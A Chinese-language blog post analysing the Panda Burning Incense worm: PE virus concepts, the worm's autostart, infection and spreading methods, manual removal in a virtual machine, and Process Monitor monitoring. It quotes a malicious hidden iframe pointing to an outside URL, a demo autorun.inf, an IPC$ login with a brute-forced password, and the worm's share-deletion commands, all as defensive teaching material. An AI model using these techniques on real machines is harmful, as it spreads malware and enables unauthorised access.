[安全攻防進階篇] 八.那些年的熊貓燒香及PE病毒行爲機理分析

2020-08-13 14:26:50

如果你想成爲一名逆向分析或惡意代碼檢測工程師,或者對系統安全非常感興趣,就必須要認真分析一些惡意樣本。熊貓燒香病毒就是一款非常具有代表性的病毒,當年造成了非常大的影響,並且也有一定技術手段。本文將詳細講解熊貓燒香的行爲機理,並通過軟體對其功能行爲進行分析,這將有助於我們學習逆向分析和反病毒工作。後續作者還將對其進行逆向偵錯,以及WannaCry勒索蠕蟲、各種惡意樣本及木馬的分析。基礎性文章,希望您喜歡!同時,本文部分實驗參考姜曄老師的視訊分析,真的非常佩服和值得去學習的一位老師。技術路上哪有享樂,爲了提升安全能力,別抱怨,幹就對了~

在这里插入图片描述

從2019年7月開始,我來到了一個陌生的專業——網路空間安全。初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇「網路安全自學」系列文章,艱難前行着。感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!

接下來我將開啓新的安全系列,叫「安全攻防進階篇」,也是免費的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內網滲透、網路攻防實戰等,也將通過線上筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步,加油~

話不多說,讓我們開始新的徵程吧!您的點贊、評論、收藏將是對我最大的支援,感恩安全路上一路前行,如果有寫得不好或侵權的地方,可以聯繫我刪除。基礎性文章,希望對您有所幫助,作者目的是與安全人共同進步,加油~

作者的github資源:
逆向分析:https://github.com/eastmountyxz/Reverse-Analysis-Case
軟體安全:https://github.com/eastmountyxz/Software-Security-Course
網路安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study


宣告:本人堅決反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家瞭解它們背後的原理,更好地進行防護。該樣本不會分享給大家,分析工具會分享。(參考文獻見後)

前文回顧:
[安全攻防進階篇] 一.什麼是逆向分析、逆向分析應用及經典掃雷遊戲逆向
[安全攻防進階篇] 二.如何學好逆向分析、逆向路線推薦及呂布傳遊戲逆向案例
[安全攻防進階篇] 三.OllyDbg和Cheat Engine工具逆向分析植物大戰殭屍遊戲
[安全攻防進階篇] 四.逆向分析之條件語句和回圈語句原始碼還原及流程控制逆向
[安全攻防進階篇] 五.逆向分析之Win32 API獲取及加解密目錄檔案、OllyDbg逆向其原理
[安全攻防進階篇] 六.逆向分析之OllyDbg逆向CrackMe01-02及加殼判斷
[安全攻防進階篇] 七.惡意樣本檢測之編寫程式碼自動提取IAT表、字串及時間戳溯源



一.PE病毒概念

首先簡單給大家普及下PE病毒的基礎概念和分類,方便大家理解熊貓燒香病毒的行爲。

什麼是PE病毒?
PE病毒是以Windows PE程式爲載體,能寄生於PE檔案或Windows系統的病毒程式。PE病毒數量非常之多,包括早起的CIH病毒,全球第一個可以破壞計算機硬體的病毒,它會破壞主辦的BIOS,對其數據進行擦寫修改。再比如熊貓燒香、機器狗等等,其危害非常之大。

在这里插入图片描述


什麼叫感染?
說到病毒,不得不提感染。感染是指在儘量不影響目標程式(系統)正常功能的前提下,而使其具有病毒自身的功能。什麼叫病毒自身的功能呢?一個病毒通常包括如下模組:

  • 感染模組: 被感人程式同樣具備感染能力
  • 觸發模組: 在特定條件下實施相應的病毒功能,比如日期、鍵盤輸入等
  • 破壞模組
  • 其他模組

編寫病毒的核心技術
如果我們要編寫PE病毒,則需要掌握以下的關鍵技術:

  • 病毒的重定位
  • 獲取API函數地址
  • 檔案搜尋
  • 記憶體對映檔案
  • 病毒如何感染其他檔案
  • 病毒如何返回到Host程式

PE病毒分類
以感染目標進行分類,包括:

  • 檔案感染型
    將程式碼寄生在PE檔案,病毒本身只是PE檔案的一部分,依賴於感染目標,通常也叫HOST檔案,控制權獲得也是以目標程式執行來獲得的。它分爲傳統感染型(以Win32彙編程式編寫爲主)和捆綁釋放型(編寫難度較低,通過高階語言均可編寫,將目標程式和病毒程式捆在一起,和捆綁器有相似之處)。
  • 系統感染型
    將程式碼或程式寄生在Windows操作系統,該類病毒越來越多,它不感染具體檔案,但是它會在操作系統中儲存自己的實體。同時也可以通過系統啓動的方法來獲取控制權。傳播途徑包括:即時通訊軟體(如QQ尾巴)、U盤、光碟、電子郵件、網路共用、其他途徑等。

熊貓燒香病毒屬於捆綁釋放型,其感染實現起來比較簡單,目前很大一部分病毒程式都採用這種方法。捆綁釋放型感染時將目標HOST程式作爲數據儲存在病毒體內,當執行病毒程式時,它先執行病毒程式,然後還原並執行HOST檔案,從而保證被感染的程式本身能正常執行,不會引起一些異樣。如下圖所示,左邊是一個正常程式(QQ),感染之後會將病毒放在前面,正常程式放在後面,程式執行之後,病毒會拿到控制權。但缺點是程式圖示會顯示前面的病毒程式,顯示熊貓燒香,這是一個明顯的被感染特徵。

在这里插入图片描述


常見自啓動方式
PE病毒執行之後,需要使用自啓動技術保證下次開機再執行。常見的自啓動方式包括:

  • 註冊表中的鍵值

  • 特定路徑的特定檔案
    系統中的特定位置,如Explorer.exe(顯示桌面)。

  • 利用系統自動播放機制 機製Autorun.inf
    比如U盤病毒或光碟病毒就是利用U盤或光碟的自動播放功能。目前,也有一些U盤插入之後,不需要你去雙擊這個U盤,裏面的程式就會自啓動。

  • 在其他可執行檔案嵌入少量觸發程式碼
    比如修改引入函數節啓動DLL病毒檔案(新增相應結構,初始化程式碼觸發),或在特定PE檔案程式碼段插入觸發程式碼等(只需定位可執行程式並執行)。

  • DLL劫持:替換已有DLL檔案
    很多應用程式或操作系統執行時,都會去執行DLL檔案,如果病毒將自身做成一個DLL檔案,同時將系統DLL檔案替換。可想而知,系統啓動時,它是根據檔名啓動的,此時病毒DLL檔案就會拿到控制權,如果拿到控制權之後再進一步裝載原始DLL檔案,這樣系統的本身機制 機製也不會受到影響,隱蔽性更強。該方法非常常見,甚至有一些病毒程式將反病毒軟體可依賴的DLL檔案替換。

下圖展示了Autoruns軟體看到Windows操作系統進行自啓動的選項。如果病毒本身能很好地結合這套機制 機製,它可以做的事情非常多,並且具有很好的隱蔽性。

在这里插入图片描述

再比如我們之前分享的WinRAR漏洞(CVE-2018-20250),當惡意ACE檔案被受害者解壓之後,會釋放惡意木馬至指定目錄(系統自啓動資料夾),受害者重新啓動電腦會執行惡意木馬。如下圖所示:

在这里插入图片描述


常見傳播方式
一切可對外互動的渠道都可傳播,包括:

  • 各類儲存裝置(軟碟、光碟、U盤、行動硬碟、智慧裝置)
  • 各類網路通訊方式(QQ、MSN、Email、淘寶旺旺、微信、微博等)
  • 各類網路連線方式(有線、wifi、藍牙等)
  • 各類網路應用(迅雷、BT等)

在这里插入图片描述

比如通過可移動儲存裝置傳播的非感染式病毒,即Autorun.inf。下圖顯示了Autorun.inf檔案,如果檔案存在U盤根目錄,當我們雙擊這個U盤時,它就會觸發對應的病毒,如果選擇U盤碟符右鍵開啓或開啓資源管理器,這是進入的也是病毒程式。當然演示的是計算器程式。

[AutoRun]
open=mspaint.exe
shell\open=開啓(&O)
shell\open\Command=calc.exe
shell\open\Default=1
shell\explore=資源管理器(&X)
shell\explore\Command=calc.exe

在这里插入图片描述

最後展示Stuxnet震網事件的漏洞利用過程和啓動方式,傳統的Autorun方式很容易被禁止掉,而Stuxnet利用的是lnk漏洞(MS10-046),它會在目標U盤下放入lnk快捷方式及病毒程式(如DLL檔案)。不管通過什麼方式進入U盤,lnk檔案會被解析從而觸發漏洞,導致U盤中的病毒程式被執行,所以0Day漏洞也越來越多應用到安全攻擊中。

在这里插入图片描述



二.什麼是熊貓燒香病毒

熊貓燒香(Worm.WhBoy)是一款擁有自動傳播、自動感染硬碟能力和強大的破壞能力的病毒,它不但能感染系統中exe、com、pif、src、html、asp等檔案,它還能中止大量的反病毒軟體進程並且會刪除擴充套件名爲gho的檔案。該檔案是一系統備份工具GHOST的備份檔案,使使用者的系統備份檔案丟失。被感染的使用者系統中所有.exe可執行檔案全部被改成熊貓舉着三根香的模樣。2006年10月16日由25歲的湖北武漢李俊編寫,2007年1月初肆虐網路,它主要通過下載的檔案傳染傳播。

在这里插入图片描述

2006-2007年,「熊貓燒香」可謂是轟動一時。時隔多年,當我們回過頭再次來看該事件,「熊貓燒香」的破壞力遠大於其技術含量,尤其是對網路資訊保安產生深遠的影響,畢竟它是第一個讓中國普通使用者對木馬病毒有所認識和感知的。現在從技術角度來看,熊貓燒香病毒技術水平一般,但病毒作者在當時運用的各類技術手法還是值得安全人蔘考和借鑑的。

  • 首先其可以感染exe檔案,也可以將以.gho結尾的檔案刪除
  • 其次是將源病毒感染到Web檔案,使網頁成爲它傳播的媒介
  • 然後在傳播層面,病毒作者使用衆多傳播途徑
  • 最後是具備一定的對抗殺軟能力

正如騰訊安全聯合實驗室文章說的一樣(見參考文獻),熊貓燒香病毒如果是放在現在,這些基本是所有病毒木馬常見、必備的技術,但技術不可同日而語。隨着人工智慧、大數據、雲端計算區塊鏈等先進技術的不斷髮展,病毒作者也將這些技術手段運用到各類安全攻擊中危害大家。典型的包括:

  • 勒索病毒:在2017年5月12日,一款名爲WannaCry勒索病毒通過MS17-010漏洞在全球範圍大爆發,感染了大量的計算機。此後,Petya、Bad Rabbit、GlobeImposter等勒索病毒相繼對企業及機構發起攻擊。
  • 挖礦木馬:伴隨着位元幣等虛擬數位貨幣交易火爆的同時,越來越多的人利用數位虛擬幣交易大發橫財,吸引大量黑產從業人員進入挖礦產業,這也是爲什麼2017年之後披露的挖礦木馬攻擊事件數量呈現出爆發式的增長。
  • APT攻擊:當前魚叉攻擊、水坑攻擊、遠端可執行漏洞和密碼爆破攻擊等手段依然是APT攻擊的最主要方式。未來,Fileless攻擊、將通訊的C&C伺服器存放在公開的社羣網站上、使用公開或者開源工具、多平臺攻擊和跨平臺攻擊將成APT攻擊技術的主要發展趨勢。
  • IoT攻擊:駭客通常通過裝置弱口令或者遠端命令執行漏洞對IoT裝置進行攻擊,攻擊者通過蠕蟲感染或者自主的批次攻擊來控制批次目標裝置,構建殭屍網絡,IoT裝置成爲了駭客最新熱愛的武器。

除此之外,供應鏈攻擊、AI對抗樣本、視訊語音欺騙等攻擊延伸都是未來駭客技術的發展趨勢,這些都應該引起我們足夠的重視。這些病毒事件一方面會警醒我們網路空間安全,另一方面也會督促我們安全人員不斷思考和對抗。未知攻,焉知防。



三.熊貓燒香病毒行爲分析

熊貓燒香病毒有它的特殊性,也有它的通用性。下面 下麪結合第一部分PE病毒基礎知識,介紹熊貓燒香病毒的基本行爲。

(1) 自啓動方式

  • 熊貓燒香病毒將自身拷貝至系統目錄,同時修改註冊表將自身設定爲開機啓動項
    這種方式也是絕大部分病毒自啓動所採用的方式。
  • 拷貝自身到所有驅動器根目錄(碟符),命名爲Setup.exe,在驅動器根目錄生成autorun.inf檔案,並把它設定爲隱藏、只讀、系統
    autorun.inf檔案的作用是允許在雙擊磁碟時自動執行指定的某個檔案,即執行Setup.exe。

注意,該Setup.exe檔案被設定爲隱藏、只讀、系統,雖然我們可以檢視「隱藏的專案」,但某些隱藏的系統檔案仍然是看不到的。

在这里插入图片描述

我們需要進一步設定,取消勾選「隱藏保護的操作系統檔案」,才能 纔能顯示這類檔案,如下圖所示。而通常設定爲隱藏的系統檔案是較難被覺察的,尤其當這類檔案被寫入到某個指定的操作系統目錄中,防不勝防。

在这里插入图片描述

在这里插入图片描述


(2) 感染與傳播方式

  • 感染可執行檔案
    熊貓燒香病毒會搜尋並感染系統中特定目錄外的所有.EXE / .SCR / .PIF / .COM等檔案,將自身捆綁在被感染檔案前端,並在尾部新增標記資訊:.WhBoy{原檔名}.exe.{原檔案大小}。注意,它感染的是特定目錄外的,而某些系統目錄是不去感染的,因爲Windows系統某些可執行檔案是有還原機制 機製的,系統檔案修改有時候會有報警提示。
  • 感染網頁
    熊貓燒香病毒會查詢系統以 .html 和 .asp 爲後綴的檔案,在裏面插入網頁標記,這個幀iframe會將另外一個URL嵌入到當前網頁,並且寬度和高度設定爲0(看不到)。嵌入頁面後會利用如IE瀏覽器的漏洞來觸發惡意代碼,從而釋放相應病毒出來。
 <iframe src=http://www.ac86.cn/66/index.htm width="0" height="0">
 </iframe>
  • 通過弱口令傳播
    這種傳播方式非普遍,它會存取區域網共用資料夾將病毒檔案拷貝到該目錄下,並改名爲GameSetup.exe(模擬遊戲名稱);通過弱口令猜測從而進入系統C槽。

(3) 自我隱藏

  • 禁用安全軟體
    熊貓燒香病毒會嘗試關閉安全軟體(防毒軟體、防火牆、安全工具)的視窗、進程,比如包含360的名稱等;刪除註冊表中安全軟體的啓動項;禁用安全軟體的服務等操作。
  • 自動恢復「顯示所有檔案和資料夾」選項隱藏功能
    某些使用者去看隱藏檔案,會主動點選檢視隱藏資料夾,但這個病毒會自動恢復隱藏。
  • 刪除系統的隱藏共用(net share)
    Windows系統其實預設會開啓隱藏共用 C$ ,比如早期的 IPC$ 管道等,通過net share命令可以刪除隱藏共用。

IPC$ (Internet Process Connection)
在未經授權情況很難將木馬拷貝到別人的電腦上。這裏需要利用IPC $ 漏洞,呼叫445埠號實現。445埠中有個IPC $ ,稱之爲空連線,沒有固定資料夾的共用;而C$ 、D$ 、E$ 代表分割區共用,是有固定資料夾的。換句話說,445埠開啓就相當於我們可以在區域網中輕鬆存取各種共用資料夾,如果您的電腦是弱密碼,很容易就被攻破,這裏使用IPC $ 暴力爆破。

IPC $ (Internet Process Connection) 是共用「命名管道」的資源,它是爲了讓進程間通訊而開放的命名管道,通過提供可信任的使用者名稱和口令,連線雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠端計算機的存取。IPC $ 是NT2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連線。NT2000在提供了 IPC $ 功能的同時,在初次安裝系統時還打開了預設共用,即所有的邏輯共用(C$ 、D$ 、E$ …)和系統目錄(C:\windows)共用。所有的這些初衷都是爲了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者會利用IPC$存取共用資源,導出使用者列表,並使用一些字典工具,進行密碼探測。

推薦作者前文:[網路安全自學篇] 木馬原理詳解、遠端伺服器IPC $漏洞及木馬植入實驗

下圖展示了使用NTscan軟體暴力爆破,該軟體支援遠端連線IPC $和利用字典檔案。執行軟體,輸入IP地址「10.1.1.2」,選擇IPCsan連線共用「IPC $」,成功獲取了密碼「123.com」。接着與目標主機建立IPC $ 空連線。

net use \\10.1.1.2\ipc$ 123.com /user:administrator

在这里插入图片描述


(4) 破壞功能

  • 熊貓燒香病毒同時會開另一個執行緒連線某網站下載DDOS程式進行發動惡意攻擊
    具有破壞功能,可開啓附件攻擊行爲,熊貓燒香感染計算機臺數非常多,它就能發動多臺電腦發起DDOS攻擊。
  • 刪除擴充套件名爲gho的檔案,延長存活時間
    該檔案是系統備份工具GHOST的備份檔案,從而使使用者的系統備份檔案丟失。當使用者中了病毒,想去恢復時就存在困難了。

這就是一個典型的病毒案例,當然現在很多病毒功能都具有相似性,它們有經濟利益趨勢。當然對於不同的病毒來說,如果它的目的不一樣,其行爲會存在很大差異。當然熊貓燒香病毒的隱蔽性不是很好,每一個感染者都會知道自己已被感染。



四.樣本執行及查殺防禦

首先,作者將熊貓燒香病毒拷貝到虛擬機器系統中,注意一定不能真機去執行,更不能去破壞或傷害他人。該樣本不會分享給大家,任何破壞行爲都將受到嚴懲,我僅是從反病毒原理及防禦方面進行技術分享。

  • 實驗環境:Windows XP
  • 實驗檔案:熊貓燒香.exe

在这里插入图片描述


正如姜曄老師說的一樣,手動查殺病毒基本流程如下:

  • 排查可疑進程
    因爲病毒往往會建立出來一個或者多個進程,因此需要分辨出哪些進程是由病毒所建立,然後刪除可疑進程。
  • 檢查啓動項
    病毒爲了實現自啓動,會採用一些方法將自己新增到啓動項中,從而實現自啓動,所以我們需要把啓動項中的病毒清除。
  • 刪除病毒
    在上一步的檢查啓動項中,我們就能夠確定病毒主體的位置,這樣就可以順藤摸瓜,從根本上刪除病毒檔案。
  • 修復被病毒破壞的檔案
    這一步一般來說無法直接通過純手工完成,需利用相應的軟體,不是我們討論的重點。

爲什麼計算機中安裝了防毒軟體,還要去手動查殺呢?
因爲防毒軟體存在嚴重的滯後性,必須要等病毒工程師抓取對應樣本,並進行分析總結病毒的特徵碼,再加入殺軟病毒庫後才能 纔能識別病毒,但病毒會存在各種變種,因此手動查殺也是必要的。同時,這對我們反病毒工程師來說也是認識和熟悉病毒的過程,在技術上是非常必要的。這也是現在爲什麼很多雲沙箱、雲殺軟、動態更新的技術不斷出現。


實驗目的:

  • 學會基本的手動查殺理論
  • 學會利用DOS命令列刪除病毒及其影響

第一步,執行病毒前開啓工作管理員觀察此時開啓的進程。

在这里插入图片描述


第二步,執行程式,可以發現工作管理員就自動關閉,並且無法再次開啓(總一閃而過)。
那麼,我們怎麼檢視系統中的進程呢?

在这里插入图片描述


第三步,開啓CMD命令提示字元,輸入命令「tasklist」檢視。

在这里插入图片描述

顯示進程資訊如下圖所示,我們發現多出來「spoclsv.exe」進程。該程式即爲熊貓燒香病毒建立出來的進程。

在这里插入图片描述


第四步,輸入「taskkill /f /im 1684」命令強制結束這個進程,其中「/f」表示強制執行,「/im」表示檔案映象,「1684」對應PID值。如下圖所示,成功殺掉該進程。

在这里插入图片描述


第五步,排查可疑進程之後,我們接下來查詢啓動項,在執行中輸入msconfig。

在这里插入图片描述

顯示如下圖所示,可以看到「spoclsv」啓動項。

在这里插入图片描述


第六步,檢測該啓動項建立的位置及鍵值。

  • C:\WINDOWS\System32\drivers\spoclsv.exe
  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

在这里插入图片描述

在这里插入图片描述


第七步,我們開啓註冊表檢視對應的值,發現建立了一個svcshare的值,並啓動對應exe程式。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

接着我們開啓這個目錄檢視。

  • C:\WINDOWS\System32\drivers\spoclsv.exe

在这里插入图片描述


第八步,取消勾選「spoclsv」啓動項,點選「確定」。

在这里插入图片描述

先暫時不重新啓動計算機。

在这里插入图片描述

接着重新整理註冊表,發現「spoclsv」已經消失,表示啓動項已經成功被刪除。

在这里插入图片描述


第九步,我們需要刪除這個病毒,這裏使用CMD命令列對其進行刪除。

在这里插入图片描述

輸入「del /f spoclsv.exe」強制刪除該檔案,顯示如下圖所示,成功刪除。

在这里插入图片描述

在这里插入图片描述

寫到這裏,我們是否真的成功清除了熊貓燒香病毒呢?
NO,該病毒還將自身複製到每一個磁碟的根目錄下。


第十步,刪除隱藏系統只讀的檔案。
輸入「dir /ah」檢視隱藏的檔案,發現autorun.inf和setup.exe。

在这里插入图片描述

接着強制刪除這兩個檔案,也可以將檔案屬性修改後刪除。

  • del /ah /f autorun.inf
  • del /ah /f setup.exe
  • attrib -s -r -h setup.exe:消除隱藏、系統、只讀屬性

在这里插入图片描述

重新啓動系統後,所有手動查殺病毒的工作完畢,我們的系統就又恢復正常了。



五.Procmon檢測病毒行爲

接着我們通過Process Monitor工具來監控熊貓燒香病毒的行爲。

1.軟體基本介紹

Process Monitor是微軟推薦的一款系統監視工具,能夠實時顯示檔案系統、註冊表(讀寫)、網路連線與進程活動的高階工具。它整合了舊的Sysinternals工具、Filemon與Regmon,其中Filemon專門用來監視系統中的任何檔案操作過程,Regmon用來監視註冊表的讀寫操作過程。

  • Filemon:檔案監視器
  • Regmon:註冊表監視器

同時,Process Monitor增加了進程ID、使用者、進程可靠度等監視項,可以記錄到檔案中。它的強大功能足以使Process Monitor成爲您系統中的核心元件以及病毒探測工具。

在这里插入图片描述

Process Monitor可以幫助使用者對系統中的任何檔案、註冊表操作進行監視和記錄,通過註冊表和檔案讀寫的變化,有效幫助診斷系統故障或發現惡意軟體、病毒及木馬。

下載Procmon.exe軟體後,直接雙擊啓動,Procmon會自動掃描分析系統當前程式的執行情況。其中,下圖框出來的4個常用按鈕作用分別爲:捕獲開關、清屏、設定過濾條件、查詢。最後5個並排的按鈕,是用來設定捕獲哪些型別的事件,分別表示註冊表的讀寫、檔案的讀寫、網路的連線、進程和執行緒的呼叫和設定事件。一般選擇前面2個,分別爲註冊表和檔案操作。

在这里插入图片描述

輸出結果中包括序號、時間點、進程名稱、PID、操作、路徑、結果、描述等,監控項通常包括:

  • 檔案系統
  • 註冊表
  • 進程:跟蹤所有進程和執行緒的建立和退出操作
  • 剖析事件:掃描系統中所有活動執行緒,爲每個執行緒建立一個剖析事件,記錄它耗費的核心和使用者CPU時間,以及該執行緒自上次剖析事件以來執行了多少次上下文轉換

更多用法推薦作者的前文,下面 下麪直接講解針對熊貓燒香病毒的行爲分析。



2.病毒行爲檢測

第一步,開啓Procmon.exe軟體。

在这里插入图片描述


第二步,在篩選器中選擇開啓Procmon.exe軟體,Filter中選擇過濾病毒的名稱「setup.exe」。

  • Process Name is setup.exe

在这里插入图片描述

然後點選新增和應用。

在这里插入图片描述


第三步,執行熊貓燒香病毒,可以看到它捕獲了非常多的病毒資訊。

在这里插入图片描述


第四步,首先檢視病毒的Process Tree(進程樹)。

在这里插入图片描述

可以看到setup.exe的熊貓燒香病毒程式,並衍生出一個spoclsv.exe程式。位置資訊爲:

  • C:\WINDOWS\system32\drivers\spoclsv.exe

在这里插入图片描述


第五步,發現spoclsv.exe程式三次開啓cmd,執行net share命令刪除各個磁碟共用及系統根目錄共用。

  • net share C$ /del /y
  • net share Z$ /del /y:虛擬機器共用功能盤
  • net share admin$ /del /y

此時我們總結病毒的行爲:

  • 第1點行爲:建立spoclsv.exe程式並位於WINDOWS\system32\drivers目錄
  • 第2點行爲:命令列模式下使用net share解除共用功能

在这里插入图片描述


第六步,回到Procmon軟體進行深入分析。關閉其他結果,只顯示註冊表行爲。

在这里插入图片描述

接着在過濾器中僅顯示對註冊表修改的值,如下圖所示。

  • Operation is RegSetValue

主要修改的是Seed項,就是亂數種子的生成。但僅僅通過這個資訊無法推測註冊表的行爲,所以該病毒對註冊表並沒有什麼實質性影響。

在这里插入图片描述


第七步,檢視病毒對檔案的修改。
在過濾器中刪除註冊表的修改,然後檢測熊貓燒香病毒是否建立檔案,建立檔案也是病毒的重要手段。

  • Operation is CreateFile

在这里插入图片描述

可以看到主要建立的檔案是WINDOWS\system32\drivers目錄下,其他並沒有特別的東西。所以setup.exe程式對我們的系統並沒有實質性影響,主要影響還是spoclsv.exe程式,所以下一步操作就是監控spoclsv.exe程式。

在这里插入图片描述


第八步,在過濾器中刪除對setup.exe的監控,設定對spoclsv.exe程式的監控。

  • Process Name is spoclsv.exe

在这里插入图片描述


第九步,在過濾器中檢視spoclsv.exe刪除註冊表選項。

  • Operation is RegDeleteValue

在这里插入图片描述

從這些名稱可以看到它們都是常用的防毒軟體名稱,其位置是CurrentVersion的Run下面 下麪,即將防毒軟體的自動啓項全部刪除。

  • 第3點行爲:刪除安全類軟體在註冊表中自動啓項

在这里插入图片描述


第十步,在過濾器中檢視spoclsv.exe建立及設定的註冊表鍵值。

  • Operation is RegCreateKey
  • Operation is RegSetValue

在这里插入图片描述

顯示結果如下圖所示,病毒設定了自啓動項,要啓動的本體是drivers目錄下的spoclsv.exe。

  • 第4點行爲:在註冊表CurrentVersion\Run建立svcshare自啓動項,每次開機時會自動執行病毒

在这里插入图片描述

繼續檢視,發現它對檔案實現隱藏,設定該值後,即使我們在資料夾選項中選擇顯示所有檔案和資料夾,也無法顯示隱藏檔案。

  • 第5點行爲:禁用資料夾隱藏選項,修改註冊表使得隱藏檔案無法通過普通設定顯示,從而隱藏病毒自身
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue

在这里插入图片描述


第十一步,在過濾器中檢視spoclsv.exe檔案操作。

在这里插入图片描述

熊貓燒香病毒建立檔案包括:

  • 在C:\WINDOWS\system32\drivers中建立spoclsv.exe
  • 磁碟根目錄建立setup.exe與autorun.inf
  • 某些目錄中建立Desktop_.ini檔案

由於建立這些檔案之後就對註冊表的SHOWALL項進行了設定,使得隱藏檔案無法顯示,那麼有理由相信,所建立出來的這些檔案的屬性都是「隱藏」的。

  • 第6點行爲:將自身拷貝到根目錄並命名爲setup.exe,建立autorun.inf用於病毒的啓動,這兩個檔案的屬性都是「隱藏」。同時,會建立Desktop_.ini隱藏檔案

在这里插入图片描述

在这里插入图片描述


第十二步,在過濾器中檢視spoclsv.exe網路行爲。
從監控結果可以看到,病毒會向區域網發送並接收資訊,並不斷嘗試向外進行連線和發送數據包。

在这里插入图片描述

寫到這裏,我們基本已經分析了熊貓燒香的病毒行爲,但這些行爲仍然無法徹底瞭解病毒的行爲,還需要通過OllyDbg逆向分析和IDA靜態分析來實現。同時,熊貓燒香病毒還有一些其他的行爲,包括:

  • 感染EXE檔案,病毒會搜尋並感染系統中特定目錄外的所有.EXE/.SCR/.PIF/.COM檔案,並將EXE執行檔案的圖示改爲熊貓燒香的圖示。
  • 試圖用以弱口令存取區域網共用資料夾,如果發現弱口令共用,就將病毒檔案拷貝到該目錄下,並改名爲GameSetup.exe,以達到通過區域網傳播的功能。
  • 查詢系統以.html和.asp爲後綴的檔案並在裏面插入iframe,該網頁中包含在病毒程式,一旦使用者使用了未安裝修補程式的IE瀏覽器存取該網頁就可能感染該病毒。
  • 刪除擴充套件名爲gho的檔案,該檔案是系統備份工具GHOST的備份檔案,這樣可使使用者的系統備份檔案丟失。


六.總結

寫到這裏,這篇文章就介紹完畢,希望對您有所幫助,最後進行簡單的總結下。

  • PE病毒概念
  • 什麼是熊貓燒香病毒
  • 熊貓燒香病毒行爲分析
  • 樣本執行及查殺防禦
  • Procmon檢測病毒行爲

同時,請讀者思考幾個問題。

  • 病毒感染了多少檔案,重灌操作系統是否可以徹底清除病毒?
  • 如何編寫程式迅速掃描出惡意樣本需要實現的操作及行爲。
  • 熊貓燒香病毒傳播時的圖示問題,是作者故意爲之?!
  • 病毒在什麼情況下需要進行圖示替換?圖示替換過程中可能會遇到哪些問題,如何解決?
  • 在無檔案載入中,如果DLL沒有實體檔案,是否可以在記憶體中完成DLL載入?
  • 病毒執行一定要開啓新的進程嗎?
  • 如何編寫感染性病毒的清除程式?其與系統感染性病毒的清除方法有何差異?

學安全一年,認識了很多安全大佬和朋友,希望大家一起進步。這篇文章中如果存在一些不足,還請海涵。作者作爲網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行。

有點想家和女神了!月是故鄉圓啊~接着加油。

程式設計沒有捷徑,逆向也沒有捷徑,它們都是搬磚活,少琢磨技巧,幹就對了。什麼時候你把攻擊對手按在地上摩擦,你就贏了,也會慢慢形成了自己的安全經驗和技巧。加油吧,少年希望這個路線對你有所幫助,共勉。

(By:Eastmount 2020-08-13 星期四 中午2點寫於武漢 http://blog.csdn.net/eastmount/ )



參考文獻:
姜曄老師真的非常佩服和值得去學習,希望自己和大家的技術能不斷提升,加油!
[1] [網路安全自學篇] 木馬原理詳解、遠端伺服器IPC $漏洞及木馬植入實驗
[2] 姜曄老師的技術空間目錄 - CSDN
[3] 騰訊安全聯合實驗室 - 知乎文章
[4] [網路安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
[5] 姜曄老師技術分享 - B站
[6] [網路安全自學篇] 四十九.Procmon軟體基本用法及檔案進程、註冊表檢視